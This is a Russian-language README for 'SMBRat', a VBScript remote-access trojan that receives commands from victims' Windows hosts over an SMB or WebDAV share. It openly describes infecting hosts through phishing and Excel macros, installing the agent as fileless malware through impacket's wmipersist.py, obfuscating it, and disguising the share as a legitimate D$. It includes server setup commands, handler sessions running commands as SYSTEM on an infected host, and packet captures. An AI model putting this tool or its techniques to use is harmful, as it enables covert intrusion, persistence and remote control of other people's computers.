
Инструмент удалённого администрирования Windows на Visual Basic с UNC-путями
Инструмент удалённого администрирования Windows на Visual Basic Script
Окружения Windows, такие как сети Active Directory, сильно перегружены трафиком SMB.
Все хосты получают политики из SYSVOL, конфигурациям для работы нужны удалённые файлы, ярлыки на рабочем столе обычно указывают на \\something\else\in\the\network.exe.
Никто не заметит ещё одну попытку подключения. Верно?
- Особенно если она успешна (сейчас модно отслеживать только отказы брандмауэра)
agent — это скрипт на Visual Basic Script, который выполняется на заражённом хосте и подключается к SMB-серверу. Он создаёт там каталог, названный по hostname хоста и основному MAC-адресу (пытаясь быть одновременно уникальным и информативным для целей отчётности). Все команды и информация для заражённого хоста будут храниться в этом каталоге. zipнув всю общую папку, вы заархивируете всю информацию о проекте!
Он НЕ использует букву диска для монтирования общего ресурса, а просто использует UNC-пути для непосредственного чтения удалённых файлов (в explorer.exe не создаётся никакого диска).
Он также внедряет UNC-путь в переменную %PATH% собственного окружения выполнения (вы можете запускать исполняемые файлы прямо из файловой системы вашей Linux-машины).
agent настроен на однократный запуск. Без сохранения состояния.
Его процедура (более или менее) такова:
exec.dat в папке, которую он создал в SMB-ресурсе.cmd.exe /c <command>, подобно полуинтерактивной оболочке.output.dat (рядом с exec.dat).exec.dat.Для работы handler требуется SMB-сервер. Подойдёт модуль smbserver.py из пакета impacket от Core Security.
Скорее всего, smbd тоже подойдёт, но он ещё не тестировался.
Нужен общий ресурс с именем D$, чтобы выглядеть как SMB легитимного Windows-хоста.
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Поскольку agent настроен на использование только UNC-путей, WebDAV также можно использовать без каких-либо изменений.
Вместо SMB-сервера можно использовать WebDAV-сервер (отличный WebDAV-сервер с поддержкой SSL — это wsgidav).
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController()
[...] INFO : Registered DAV providers by route:
[...] INFO : - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO : - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share '/:dir_browser' will allow anonymous read access.
[...] WARNING : Share '/' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status
Для поддержки SSL UNC-пути нужно немного изменить, с:
\\<Server-IP>\DIR\
на:
\\<Server-IP>@SSL@443\DIR\
Это изменение можно внести только в переменную ServerName файла agent.vbs, поскольку все пути строятся на её основе.
Имейте в виду, что SSL-сертификаты должны доверяться системой, на которой выполняется agent. Самоподписанные сертификаты будут вызывать ошибки с предупреждениями.
В начало файла agent.vbs можно добавить цикл While с задержкой в несколько секунд (идеально — 10 секунд), и тогда он сможет заражать Windows-хосты через двойной клик / фишинг / макросы Excel / и т.д...
Цикл while True на VBS с задержкой в 1 секунду выглядит так:
Do While True
[...]
WScript.Sleep 1000
Loop
Однако, если на Windows-хосте включён RPC, можно установить VBS-файл как бесфайловое вредоносное ПО через WMI и замечательные примеры из пакета impacket, например такой командой:
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10
Также можно использовать инструмент WMI при локальном доступе, чтобы установить agent.vbs как бесфайловое вредоносное ПО.
Visual Basic Scripts можно хорошо обфусцировать, закодировать в base64, а также минифицировать.
Будет очень удобно обкатать его перед «развёртыванием» 😉
На момент написания оболочка поэтому использование можно осуществлять просто с помощью команды вроде Handler не была реализована,watch для просмотра файла output.dat:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat
и echo для записи данных в файл exec.dat:
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat
handler.pyЭкспериментальная оболочка работает следующим образом:
$ python handler.py Share/
SMBRat>
# When a new host gets infected:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"
SMBRat> execall whoami /user
[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
SMBRat>
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF':
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat>
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................
.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
Трафик (содержимое и пути файлов) передаётся в открытом виде, если используется SMBv1-сервер (например, smbserver.py из impacket).
Все агенты могут изменять файлы, хранящиеся во всём общем ресурсе. Это означает, что они могут изменять exec.dat других агентов...
Утилита smbmap прольёт свет:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually
-u и -p у smbmap.Это NULL-сессия (как анонимный вход по FTP). КАЖДЫЙ может изменять файлы общего ресурса и получить удалённое выполнение кода на всех заражённых машинах.
iptables...Введите execall netsh — и вы потеряете всех своих агентов. Никто не ответит, потому что agent.vbs запустит оболочку netsh.exe и будет ждать её завершения, чтобы записать её вывод в output.dat. Но угадайте что... Она не завершится... Она зависнет, а netsh> будет указывать в пустоту.